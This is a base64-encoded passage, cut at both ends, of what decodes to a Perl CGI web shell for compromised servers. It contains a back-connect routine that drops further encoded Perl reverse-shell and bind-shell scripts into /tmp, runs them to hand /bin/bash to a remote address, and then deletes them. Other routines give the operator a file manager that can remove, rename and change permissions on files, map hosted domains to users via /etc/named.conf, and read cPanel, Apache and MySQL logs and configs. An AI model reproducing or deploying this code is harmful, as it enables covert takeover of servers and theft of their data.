9sc3Bhbj0zPjxmb250IGNvbG9yPSNGRkZGRkY+WytdIFRlc3RpbmcgLi4uLg0KCTxicj5bK10gVHJ5IGNvbW1hbmQ6IDxydW4+bmMgJEVOVnsnU0VSVkVSX0FERFInfSA8c3BhbiBpZD0iYmkiPjE0MTI8L3NwYW4+PC9ydW4+PC9mb250PjwvdGQ+DQoNCgk8L3RyPg0KCTwvdGFibGU+PGJyPg0KRU5EDQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIEJhY2tjb25uZWN0IHVzZSBwZXJsDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQmFja0JpbmQNCnsNCgl1c2UgU29ja2V0OwkNCgkkYmFja3Blcmw9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdTVTg2T2xOdlkydGxkRHNOQ2lSVGFHVnNiQWs5SUNJdlltbHVMMkpoYzJnaU93MEtKRUZTUjBNOVFFRlNSMVk3RFFwMWMyVWdVMjlqYTJWME93MEtkWE5sSUVacGJHVklZVzVrYkdVN0RRcHpiMk5yWlhRb1UwOURTMFZVTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2daMlYwY0hKdmRHOWllVzVoYldVb0luUmpjQ0lwS1NCdmNpQmthV1VnY0hKcGJuUWdJbHN0WFNCVmJtRmliR1VnZEc4Z1VtVnpiMngyWlNCSWIzTjBYRzRpT3cwS1kyOXVibVZqZENoVFQwTkxSVlFzSUhOdlkydGhaR1J5WDJsdUtDUkJVa2RXV3pGZExDQnBibVYwWDJGMGIyNG9KRUZTUjFaYk1GMHBLU2tnYjNJZ1pHbGxJSEJ5YVc1MElDSmJMVjBnVlc1aFlteGxJSFJ2SUVOdmJtNWxZM1FnU0c5emRGeHVJanNOQ25CeWFXNTBJQ0pEYjI1dVpXTjBaV1FoSWpzTkNsTlBRMHRGVkMwK1lYVjBiMlpzZFhOb0tDazdEUXB2Y0dWdUtGTlVSRWxPTENBaVBpWlRUME5MUlZRaUtUc05DbTl3Wlc0b1UxUkVUMVZVTENJK0psTlBRMHRGVkNJcE93MEtiM0JsYmloVFZFUkZVbElzSWo0bVUwOURTMFZVSWlrN0RRcHdjbWx1ZENBaUxTMDlQU0JEYjI1dVpXTjBaV1FnUW1GamEyUnZiM0lnUFQwdExTQWdYRzVjYmlJN0RRcHplWE4wWlcwb0luVnVjMlYwSUVoSlUxUkdTVXhGT3lCMWJuTmxkQ0JUUVZaRlNFbFRWQ0E3WldOb2J5QW5XeXRkSUZONWMzUmxiV2x1Wm04NklDYzdJSFZ1WVcxbElDMWhPMlZqYUc4N1pXTm9ieUFuV3l0ZElGVnpaWEpwYm1adk9pQW5PeUJwWkR0bFkyaHZPMlZqYUc4Z0oxc3JYU0JFYVhKbFkzUnZjbms2SUNjN0lIQjNaRHRsWTJodk95QmxZMmh2SUNkYksxMGdVMmhsYkd3NklDYzdKRk5vWld4c0lpazdEUXBqYkc5elpTQlRUME5MUlZRNyI7DQoJJGJpbmRwZXJsPSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRcDFjMlVnVTI5amEyVjBPdzBLSkVGU1IwTTlRRUZTUjFZN0RRb2tjRzl5ZEFrOUlDUkJVa2RXV3pCZE93MEtKSEJ5YjNSdkNUMGdaMlYwY0hKdmRHOWllVzVoYldVb0ozUmpjQ2NwT3cwS0pGTm9aV3hzQ1QwZ0lpOWlhVzR2WW1GemFDSTdEUXB6YjJOclpYUW9VMFZTVmtWU0xDQlFSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnSkhCeWIzUnZLVzl5SUdScFpTQWljMjlqYTJWME9pUWhJanNOQ25ObGRITnZZMnR2Y0hRb1UwVlNWa1ZTTENCVFQweGZVMDlEUzBWVUxDQlRUMTlTUlZWVFJVRkVSRklzSUhCaFkyc29JbXdpTENBeEtTbHZjaUJrYVdVZ0luTmxkSE52WTJ0dmNIUTZJQ1FoSWpzTkNtSnBibVFvVTBWU1ZrVlNMQ0J6YjJOcllXUmtjbDlwYmlna2NHOXlkQ3dnU1U1QlJFUlNYMEZPV1NrcGIzSWdaR2xsSUNKaWFXNWtPaUFrSVNJN0RRcHNhWE4wWlc0b1UwVlNWa1ZTTENCVFQwMUJXRU5QVGs0cENRbHZjaUJrYVdVZ0lteHBjM1JsYmpvZ0pDRWlPdzBLWm05eUtEc2dKSEJoWkdSeUlEMGdZV05qWlhCMEtFTk1TVVZPVkN3Z1UwVlNWa1ZTS1RzZ1kyeHZjMlVnUTB4SlJVNVVLUTBLZXcwS0NXOXdaVzRvVTFSRVNVNHNJQ0krSmtOTVNVVk9WQ0lwT3cwS0NXOXdaVzRvVTFSRVQxVlVMQ0FpUGlaRFRFbEZUbFFpS1RzTkNnbHZjR1Z1S0ZOVVJFVlNVaXdnSWo0bVEweEpSVTVVSWlrN0RRb0pjM2x6ZEdWdEtDSjFibk5sZENCSVNWTlVSa2xNUlRzZ2RXNXpaWFFnVTBGV1JVaEpVMVFnTzJWamFHOGdKMXNyWFNCVGVYTjBaVzFwYm1adk9pQW5PeUIxYm1GdFpTQXRZVHRsWTJodk8yVmphRzhnSjFzclhTQlZjMlZ5YVc1bWJ6b2dKenNnYVdRN1pXTm9ienRsWTJodklDZGJLMTBnUkdseVpXTjBiM0o1T2lBbk95QndkMlE3WldOb2J6c2daV05vYnlBbld5dGRJRk5vWld4c09pQW5PeVJUYUdWc2JDSXBPdzBLQ1dOc2IzTmxLRk5VUkVsT0tUc05DZ2xqYkc5elpTaFRWRVJQVlZRcE93MEtDV05zYjNObEtGTlVSRVZTVWlrN0RRcDlEUW89IjsNCg0KCSRDbGllbnRBZGRyID0gJGlueydjbGllbnRhZGRyJ307DQoJJENsaWVudFBvcnQgPSBpbnQoJGlueydjbGllbnRwb3J0J30pOw0KCWlmKCRDbGllbnRQb3J0IGVxIDApDQoJew0KCQlyZXR1cm4gJkJhY2tCaW5kRm9ybTsNCgl9ZWxzaWYoISRDbGllbnRBZGRyIGVxICIiKQ0KCXsNCgkJJERhdGE9ZGVjb2RlX2Jhc2U2NCgkYmFja3BlcmwpOw0KCQlpZigtdyAiL3RtcC8iKQ0KCQl7DQoJCQkkRmlsZT0iL3RtcC9iYWNrY29ubmVjdC5wbCI7CQ0KCQl9ZWxzZQ0KCQl7DQoJCQkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4iYmFja2Nvbm5lY3QucGwiOw0KCQl9DQoJCW9wZW4oRklMRSwgIj4kRmlsZSIpOw0KCQlwcmludCBGSUxFICREYXRhOw0KCQljbG9zZSBGSUxFOw0KCQlzeXN0ZW0oInBlcmwgJEZpbGUgJENsaWVudEFkZHIgJENsaWVudFBvcnQiKTsNCgkJdW5saW5rKCRGaWxlKTsNCgkJZXhpdCAwOw0KCX1lbHNlDQoJew0KCQkkRGF0YT1kZWNvZGVfYmFzZTY0KCRiaW5kcGVybCk7DQoJCWlmKC13ICIvdG1wIikNCgkJew0KCQkJJEZpbGU9Ii90bXAvYmluZHBvcnQucGwiOwkNCgkJfWVsc2UNCgkJew0KCQkJJEZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuImJpbmRwb3J0LnBsIjsNCgkJfQ0KCQlvcGVuKEZJTEUsICI+JEZpbGUiKTsNCgkJcHJpbnQgRklMRSAkRGF0YTsNCgkJY2xvc2UgRklMRTsNCgkJc3lzdGVtKCJwZXJsICRGaWxlICRDbGllbnRQb3J0Iik7DQoJCXVubGluaygkRmlsZSk7DQoJCWV4aXQgMDsNCgl9DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojICBBcnJheSBMaXN0IERpcmVjdG9yeQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFJtRGlyKCQpIA0Kew0KCW15ICRkaXIgPSBzaGlmdDsNCglpZihvcGVuZGlyKERJUiwkZGlyKSkNCgl7DQoJCXdoaWxlKCRmaWxlID0gcmVhZGRpcihESVIpKQ0KCQl7DQoJCQlpZigoJGZpbGUgbmUgIi4iKSAmJiAoJGZpbGUgbmUgIi4uIikpDQoJCQl7DQoJCQkJJGZpbGU9ICRkaXIuJFBhdGhTZXAuJGZpbGU7DQoJCQkJaWYoLWQgJGZpbGUpDQoJCQkJew0KCQkJCQkmUm1EaXIoJGZpbGUpOw0KCQkJCX0NCgkJCQllbHNlDQoJCQkJew0KCQkJCQl1bmxpbmsoJGZpbGUpOw0KCQkJCX0NCgkJCX0NCgkJfQ0KCQljbG9zZWRpcihESVIpOw0KCX0NCn0NCnN1YiBGaWxlT3duZXIoJCkNCnsNCglteSAkZmlsZSA9IHNoaWZ0Ow0KCWlmKC1lICRmaWxlKQ0KCXsNCgkJKCR1aWQsJGdpZCkgPSAoc3RhdCgkZmlsZSkpWzQsNV07DQoJCWlmKCRXaW5OVCkNCgkJew0KCQkJcmV0dXJuICI/Pz8iOw0KCQl9DQoJCWVsc2UNCgkJew0KCQkJJG5hbWU9Z2V0cHd1aWQoJHVpZCk7DQoJCQkkZ3JvdXA9Z2V0Z3JnaWQoJGdpZCk7DQoJCQlyZXR1cm4gJG5hbWUuIi8iLiRncm91cDsNCgkJfQ0KCX0NCglyZXR1cm4gIj8/PyI7DQp9DQpzdWIgUGFyZW50Rm9sZGVyKCQpDQp7DQoJbXkgJHBhdGggPSBzaGlmdDsNCglteSAkQ29tbSA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuImNkIC4uIi4kQ21kU2VwLiRDbWRQd2Q7DQoJY2hvcCgkcGF0aCA9IGAkQ29tbWApOw0KCXJldHVybiAkcGF0aDsNCn0NCnN1YiBGaWxlUGVybXMoJCkNCnsNCglteSAkZmlsZSA9IHNoaWZ0Ow0KCW15ICR1ciA9ICItIjsNCglteSAkdXcgPSAiLSI7DQoJaWYoLWUgJGZpbGUpDQoJew0KCQlpZigkV2luTlQpDQoJCXsNCgkJCWlmKC1yICRmaWxlKXsgJHVyID0gInIiOyB9DQoJCQlpZigtdyAkZmlsZSl7ICR1dyA9ICJ3IjsgfQ0KCQkJcmV0dXJuICR1ciAuICIgLyAiIC4gJHV3Ow0KCQl9ZWxzZQ0KCQl7DQoJCQkkbW9kZT0oc3RhdCgkZmlsZSkpWzJdOw0KCQkJJHJlc3VsdCA9IHNwcmludGYoIiUwNG8iLCAkbW9kZSAmIDA3Nzc3KTsNCgkJCXJldHVybiAkcmVzdWx0Ow0KCQl9DQoJfQ0KCXJldHVybiAiMDAwMCI7DQp9DQpzdWIgRmlsZUxhc3RNb2RpZmllZCgkKQ0Kew0KCW15ICRmaWxlID0gc2hpZnQ7DQoJaWYoLWUgJGZpbGUpDQoJew0KCQkoJGxhKSA9IChzdGF0KCRmaWxlKSlbOV07DQoJCSgkZCwkbSwkeSwkaCwkaSkgPSAobG9jYWx0aW1lKCRsYSkpWzMsNCw1LDIsMV07DQoJCSR5ID0gJHkgKyAxOTAwOw0KCQlAbW9udGggPSBxdy8xIDIgMyA0IDUgNiA3IDggOSAxMCAxMSAxMi87DQoJCSRsbXRpbWUgPSBzcHJpbnRmKCIlMDJkLyVzLyU0ZCAlMDJkOiUwMmQiLCRkLCRtb250aFskbV0sJHksJGgsJGkpOw0KCQlyZXR1cm4gJGxtdGltZTsNCgl9DQoJcmV0dXJuICI/Pz8iOw0KfQ0Kc3ViIEZpbGVTaXplKCQpDQp7DQoJbXkgJGZpbGUgPSBzaGlmdDsNCglpZigtZiAkZmlsZSkNCgl7DQoJCXJldHVybiAtcyAiJGZpbGUiOw0KCX0NCglyZXR1cm4gIjAiOw0KfQ0Kc3ViIFBhcnNlRmlsZVNpemUoJCkNCnsNCglteSAkc2l6ZSA9IHNoaWZ0Ow0KCWlmKCRzaXplIDw9IDEwMjQpDQoJew0KCQlyZXR1cm4gJHNpemUuICIgQiI7DQoJfQ0KCWVsc2UNCgl7DQoJCWlmKCRzaXplIDw9IDEwMjQqMTAyNCkgDQoJCXsNCgkJCSRzaXplID0gc3ByaW50ZigiJS4wMmYiLCRzaXplIC8gMTAyNCk7DQoJCQlyZXR1cm4gJHNpemUuIiBLQiI7DQoJCX0NCgkJZWxzZSANCgkJew0KCQkJJHNpemUgPSBzcHJpbnRmKCIlLjJmIiwkc2l6ZSAvIDEwMjQgLyAxMDI0KTsNCgkJCXJldHVybiAkc2l6ZS4iIE1CIjsNCgkJfQ0KCX0NCn0NCnN1YiB0cmltKCQpDQp7DQoJbXkgJHN0cmluZyA9IHNoaWZ0Ow0KCSRzdHJpbmcgPX4gcy9eXHMrLy87DQoJJHN0cmluZyA9fiBzL1xzKyQvLzsNCglyZXR1cm4gJHN0cmluZzsNCn0NCnN1YiBBZGRTbGFzaGVzKCQpDQp7DQoJbXkgJHN0cmluZyA9IHNoaWZ0Ow0KCSRzdHJpbmc9fiBzL1xcL1xcXFwvZzsNCglyZXR1cm4gJHN0cmluZzsNCn0NCnN1YiBUcmltU2xhc2hlcygkKQ0Kew0KCW15ICRzdHJpbmcgPSBzaGlmdDsNCgkkc3RyaW5nPX4gcy9cL1wvL1wvL2c7DQoJJHN0cmluZz1+IHMvXFxcXC9cXC9nOw0KCXJldHVybiAkc3RyaW5nOw0KfQ0Kc3ViIExpc3REaXINCnsNCglteSAkcGF0aCA9ICZUcmltU2xhc2hlcygkQ3VycmVudERpci4kUGF0aFNlcCk7DQoJbXkgJHJlc3VsdCA9ICI8Zm9ybSBuYW1lPSdmJyBvblN1Ym1pdD1cIkVuY29kZXIoJ2QnKVwiIGFjdGlvbj0nJFNjcmlwdExvY2F0aW9uJz48c3BhbiBzdHlsZT0nZm9udDogMTFwdCBWZXJkYW5hOyBmb250LXdlaWdodDogYm9sZDsnPlBhdGg6IFsgIi4mQWRkTGlua0RpcigiZ3VpIikuIiBdIDwvc3Bhbj48aW5wdXQgdHlwZT0ndGV4dCcgaWQ9J2QnIG5hbWU9J2QnIHNpemU9JzQwJyB2YWx1ZT0nJEN1cnJlbnREaXInIC8+PGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nYScgdmFsdWU9J2d1aSc+PGlucHV0IGNsYXNzPSdzdWJtaXQnIHR5cGU9J3N1Ym1pdCcgdmFsdWU9J0NoYW5nZSc+PC9mb3JtPiI7DQoJaWYoLWQgJHBhdGgpDQoJew0KCQlteSBAZm5hbWUgPSAoKTsNCgkJbXkgQGRuYW1lID0gKCk7DQoJCWlmKG9wZW5kaXIoRElSLCRwYXRoKSkNCgkJew0KCQkJd2hpbGUoJGZpbGUgPSByZWFkZGlyKERJUikpDQoJCQl7DQoJCQkJJGY9JHBhdGguJGZpbGU7DQoJCQkJaWYoLWQgJGYpDQoJCQkJew0KCQkJCQlwdXNoKEBkbmFtZSwkZmlsZSk7DQoJCQkJfQ0KCQkJCWVsc2UNCgkJCQl7DQoJCQkJCXB1c2goQGZuYW1lLCRmaWxlKTsNCgkJCQl9DQoJCQl9DQoJCQljbG9zZWRpcihESVIpOw0KCQl9DQoJCUBmbmFtZSA9IHNvcnQgeyBsYygkYSkgY21wIGxjKCRiKSB9IEBmbmFtZTsNCgkJQGRuYW1lID0gc29ydCB7IGxjKCRhKSBjbXAgbGMoJGIpIH0gQGRuYW1lOw0KCQkkcmVzdWx0IC49ICI8ZGl2Pjx0YWJsZSB3aWR0aD0nOTAlJyBjbGFzcz0nbGlzdGRpcic+DQoJCTx0ciBzdHlsZT0nYmFja2dyb3VuZC1jb2xvcjogIzNlM2UzZSc+PHRoPkZpbGUgTmFtZTwvdGg+DQoJCTx0aCB3aWR0aD0nMTAwJz5GaWxlIFNpemU8L3RoPg0KCQk8dGggd2lkdGg9JzE1MCc+T3duZXI8L3RoPg0KCQk8dGggd2lkdGg9JzEwMCc+UGVybWlzc2lvbjwvdGg+DQoJCTx0aCB3aWR0aD0nMTUwJz5MYXN0IE1vZGlmaWVkPC90aD4NCgkJPHRoIHdpZHRoPScyMzAnPkFjdGlvbjwvdGg+PC90cj4iOw0KCQlteSAkc3R5bGU9Im5vdGxpbmUiOw0KCQlteSAkaT0wOw0KCQlmb3JlYWNoIG15ICRkIChAZG5hbWUpDQoJCXsNCgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7DQoJCQkkZCA9ICZ0cmltKCRkKTsNCgkJCSRkaXJuYW1lPSRkOw0KCQkJaWYoJGQgZXEgIi4uIikgDQoJCQl7DQoJCQkJJGQgPSAmUGFyZW50Rm9sZGVyKCRwYXRoKTsNCgkJCX0NCgkJCWVsc2lmKCRkIGVxICIuIikgDQoJCQl7DQoJCQkJbmV4dDsNCgkJCX0NCgkJCWVsc2UgDQoJCQl7DQoJCQkJJGQgPSAkcGF0aC4kZDsNCgkJCX0NCgkJCSRyZXN1bHQgLj0gIjx0ciBjbGFzcz0nJHN0eWxlJz48dGQgaWQ9J0ZpbGVfJGknIGNsYXNzPSdkaXInPjxhICBocmVmPSc/YT1ndWkmZD0iLiZFbmNvZGVEaXIoJGQpLiInPlsgIi4kZGlybmFtZS4iIF08L2E+PC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPHRkPkRJUjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZD4iLiZGaWxlT3duZXIoJGQpLiI8L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQgaWQ9J0ZpbGVQZXJtc18kaScgb25kYmxjbGljaz1cInJtX2NobW9kX2Zvcm0odGhpcywiLiRpLiIsJyIuJkZpbGVQZXJtcygkZCkuIicsJyIuJGRpcm5hbWUuIicpXCIgPjxzcGFuIG9uY2xpY2s9XCJjaG1vZF9mb3JtKCIuJGkuIiwnIi4kZGlybmFtZS4iJylcIiA+Ii4mRmlsZVBlcm1zKCRkKS4iPC9zcGFuPjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZD4iLiZGaWxlTGFzdE1vZGlmaWVkKCRkKS4iPC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPHRkPjxhIG9uY2xpY2s9XCJyZW5hbWVfZm9ybSgkaSwnJGRpcm5hbWUnLCciLiZBZGRTbGFzaGVzKCZBZGRTbGFzaGVzKCRkKSkuIicpOyByZXR1cm4gZmFsc2U7IFwiPlJlbmFtZTwvYT4gIHwgPGEgb25jbGljaz1cImlmKCFjb25maXJtKCdSZW1vdmUgZGlyOiAkZGlybmFtZSA/JykpIHsgcmV0dXJuIGZhbHNlO31cIiBocmVmPSc/YT1ndWkmZD0iLiZFbmNvZGVEaXIoJHBhdGgpLiImcmVtb3ZlPSRkaXJuYW1lJz5SZW1vdmU8L2E+PC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPC90cj4iOw0KCQkJJGkrKzsNCgkJfQ0KCQlmb3JlYWNoIG15ICRmIChAZm5hbWUpDQoJCXsNCgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7DQoJCQkkZmlsZT0kZjsNCgkJCSRmID0gJHBhdGguJGY7DQoJCQlteSAkYWN0aW9uID0gZW5jb2RlX2Jhc2U2NCgiZWRpdCAiLiRmaWxlKTsNCgkJCSR2aWV3ID0gIj9kaXI9Ii4kcGF0aC4iJnZpZXc9Ii4kZjsNCgkJCSRyZXN1bHQgLj0gIjx0ciBjbGFzcz0nJHN0eWxlJz48dGQgaWQ9J0ZpbGVfJGknIGNsYXNzPSdmaWxlJz48YSBocmVmPSc/YT1jb21tYW5kJmQ9Ii4mRW5jb2RlRGlyKCRwYXRoKS4iJmM9Ii4kYWN0aW9uLiInPiIuJGZpbGUuIjwvYT48L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQ+Ii4mUGFyc2VGaWxlU2l6ZSgmRmlsZVNpemUoJGYpKS4iPC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPHRkPiIuJkZpbGVPd25lcigkZikuIjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZCBpZD0nRmlsZVBlcm1zXyRpJyBvbmRibGNsaWNrPVwicm1fY2htb2RfZm9ybSh0aGlzLCIuJGkuIiwnIi4mRmlsZVBlcm1zKCRmKS4iJywnIi4kZmlsZS4iJylcIiA+PHNwYW4gb25jbGljaz1cImNobW9kX2Zvcm0oJGksJyRmaWxlJylcIiA+Ii4mRmlsZVBlcm1zKCRmKS4iPC9zcGFuPjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZD4iLiZGaWxlTGFzdE1vZGlmaWVkKCRmKS4iPC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPHRkPjxhIG9uY2xpY2s9XCJyZW5hbWVfZm9ybSgkaSwnJGZpbGUnLCdmJyk7IHJldHVybiBmYWxzZTtcIj5SZW5hbWU8L2E+IHwgPGEgaHJlZj0nP2E9ZG93bmxvYWQmbz1nbyZmPSIuJGYuIic+RG93bmxvYWQ8L2E+IHwgPGEgb25jbGljaz1cImlmKCFjb25maXJtKCdSZW1vdmUgZmlsZTogJGZpbGUgPycpKSB7IHJldHVybiBmYWxzZTt9XCIgaHJlZj0nP2E9Z3VpJmQ9Ii4mRW5jb2RlRGlyKCRwYXRoKS4iJnJlbW92ZT0kZmlsZSc+UmVtb3ZlPC9hPjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjwvdHI+IjsNCgkJCSRpKys7DQoJCX0NCgkJJHJlc3VsdCAuPSAiPC90YWJsZT48L2Rpdj4iOw0KCX0NCglyZXR1cm4gJHJlc3VsdDsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVHJ5IHRvIFZpZXcgTGlzdCBVc2VyDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgVmlld0RvbWFpblVzZXINCnsNCglvcGVuIChkMG1haW5zLCAnL2V0Yy9uYW1lZC5jb25mJykgb3IgJGVycj0xOw0KCW15IEBjbnpzID0gPGQwbWFpbnM+Ow0KCWNsb3NlIGQwbWFpbnM7DQoJbXkgJHN0eWxlPSJsaW5lIjsNCglteSAkcmVzdWx0PSI8aDM+PGZvbnQgc3R5bGU9J2ZvbnQ6IDE1cHQgVmVyZGFuYTtjb2xvcjogI2ZmOTkwMDsnPkRvbWFpbiArIFVzZXI8L2ZvbnQ+PC9oMz4iOw0KCWlmICgkZXJyKQ0KCXsNCgkJJHJlc3VsdCAuPSAgKCc8cD5DMHVsZG5cJ3QgQnlwYXNzIGl0ICwgU29ycnk8L3A+Jyk7DQoJCXJldHVybiAkcmVzdWx0Ow0KCX1lbHNlDQoJew0KCQkkcmVzdWx0IC49ICc8dGFibGUgaWQ9ImRvbWFpbiI+PHRyPjx0aD5kMG1haW5zPC90aD4gPHRoPlVzZXI8L3RoPjwvdHI+JzsNCgl9DQoJZm9yZWFjaCBteSAkb25lIChAY256cykNCgl7DQoJCWlmKCRvbmUgPX4gbS8uKj96b25lICIoLio/KSIgey8pDQoJCXsJDQoJCQkkc3R5bGU9ICgkc3R5bGUgZXEgImxpbmUiKSA/ICJub3RsaW5lIjogImxpbmUiOw0KCQkJJGZpbGVuYW1lPSB0cmltKCIvZXRjL3ZhbGlhc2VzLyIuJDEpOw0KCQkJJG93bmVyID0gZ2V0cHd1aWQoKHN0YXQoJGZpbGVuYW1lKSlbNF0pOw0KCQkJJHJlc3VsdCAuPSAnPHRyIHN0eWxlPSIkc3R5bGUiIHdpZHRoPTUwJT48dGQ+PGEgaHJlZj0iaHR0cDovLycuJDEuJyIgdGFyZ2V0PSJfYmxhbmsiPicuJDEuJzwvYT48L3RkPjx0ZD4gJy4kb3duZXIuJzwvdGQ+PC90cj4nOw0KCQl9DQoJfQ0KCSRyZXN1bHQgLj0gJzwvdGFibGU+JzsNCglyZXR1cm4gJHJlc3VsdDsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVmlldyBMb2cNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBWaWV3TG9nDQp7DQoJJEVuY29kZUN1cnJlbnREaXIgPSBFbmNvZGVEaXIoJEN1cnJlbnREaXIpOw0KCWlmKCRXaW5OVCkNCgl7DQoJCXJldHVybiAiPGgyPjxmb250IHN0eWxlPSdmb250OiAyMHB0IFZlcmRhbmE7Y29sb3I6ICNmZjk5MDA7Jz5Eb24ndCBydW4gb24gV2luZG93czwvZm9udD48L2gyPiI7DQoJfQ0KCW15ICRyZXN1bHQ9Ijx0YWJsZT48dHI+PHRoPlBhdGggTG9nPC90aD48dGg+U3VibWl0PC90aD48L3RyPiI7DQoJbXkgQHBhdGhsb2c9KAknL3Vzci9sb2NhbC9hcGFjaGUvbG9ncy9lcnJvcl9sb2cnLA0KCQkJJy91c3IvbG9jYWwvYXBhY2hlL2xvZ3MvYWNjZXNzX2xvZycsDQoJCQknL3Vzci9sb2NhbC9hcGFjaGUyL2NvbmYvaHR0cGQuY29uZicsDQoJCQknL3Zhci9sb2cvaHR0cGQvZXJyb3JfbG9nJywNCgkJCScvdmFyL2xvZy9odHRwZC9hY2Nlc3NfbG9nJywNCgkJCScvdXNyL2xvY2FsL2NwYW5lbC9sb2dzL2Vycm9yX2xvZycsDQoJCQknL3Vzci9sb2NhbC9jcGFuZWwvbG9ncy9hY2Nlc3NfbG9nJywNCgkJCScvdXNyL2xvY2FsL2FwYWNoZS9sb2dzL3N1cGhwX2xvZycsDQoJCQknL3Vzci9sb2NhbC9jcGFuZWwvbG9ncycsDQoJCQknL3Vzci9sb2NhbC9jcGFuZWwvbG9ncy9zdGF0c19sb2cnLA0KCQkJJy91c3IvbG9jYWwvY3BhbmVsL2xvZ3MvYWNjZXNzX2xvZycsDQoJCQknL3Vzci9sb2NhbC9jcGFuZWwvbG9ncy9lcnJvcl9sb2cnLA0KCQkJJy91c3IvbG9jYWwvY3BhbmVsL2xvZ3MvbGljZW5zZV9sb2cnLA0KCQkJJy91c3IvbG9jYWwvY3BhbmVsL2xvZ3MvbG9naW5fbG9nJywNCgkJCScvdXNyL2xvY2FsL2NwYW5lbC9sb2dzL3N0YXRzX2xvZycsDQoJCQknL3Zhci9jcGFuZWwvY3BhbmVsLmNvbmZpZycsDQoJCQknL3Vzci9sb2NhbC9waHAvbGliL3BocC5pbmknLA0KCQkJJy91c3IvbG9jYWwvcGhwNS9saWIvcGhwLmluaScsDQoJCQknL3Zhci9sb2cvbXlzcWwvbXlzcWwtYmluLmxvZycsDQoJCQknL3Zhci9sb2cvbXlzcWwubG9nJywNCgkJCScvdmFyL2xvZy9teXNxbGRlcnJvci5sb2cnLA0KCQkJJy92YXIvbG9nL215c3FsL215c3FsLmxvZycsDQoJCQknL3Zhci9sb2cvbXlzcWwvbXlzcWwtc2xvdy5sb2cnLA0KCQkJJy92YXIvbXlzcWwubG9nJywNCgkJCScvdmFyL2xpYi9teXNxbC9teS5jbmYnLA0KCQkJJy9ldGMvbXlzcWwvbXkuY25mJywNCgkJCScvZXRjL215LmNuZicsDQoJCQkpOw0KCW15ICRpPTA7DQoJbXkgJHBlcm1zOw0KCW15ICRzbDsNCglmb3JlYWNoIG15ICRsb2cgKEBwYXRobG9nKQ0KCXsNCgkJaWYoLXIgJGxvZykNCgkJew0KCQkJJHBlcm1zPSJPSyI7DQoJCX1lbHNlDQoJCXsNCgkJCSRwZXJtcz0iPGZvbnQgc3R5bGU9J2NvbG9yOiByZWQ7Jz5DYW5jZWw8Zm9udD4iOw0KCQl9DQoJCSRyZXN1bHQgLj08PEVORDsNCgkJPHRyPg0KDQoJCQk8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0IiBvblN1Ym1pdD0iRW5jb2RlcignbG9nJGknKSI+DQoJCQk8dGQ+PGlucHV0IHR5cGU9InRleHQiIGlkPSJsb2ckaSIgbmFtZT0iYyIgdmFsdWU9InRhaWwgLTEwMDAwICRsb2cgfCBncmVwICcvaG9tZSciIHNpemU9JzUwJy8+PC90ZD4NCgkJCTx0ZD48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iVHJ5IiAvPjwvdGQ+DQoJCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCIgLz4NCgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkRW5jb2RlQ3VycmVudERpciIgLz4NCgkJCTwvZm9ybT4NCgkJCTx0ZD4kcGVybXM8L3RkPg0KDQoJCTwvdHI+DQpFTkQNCgkJJGkrKzsNCgl9DQoJJHJlc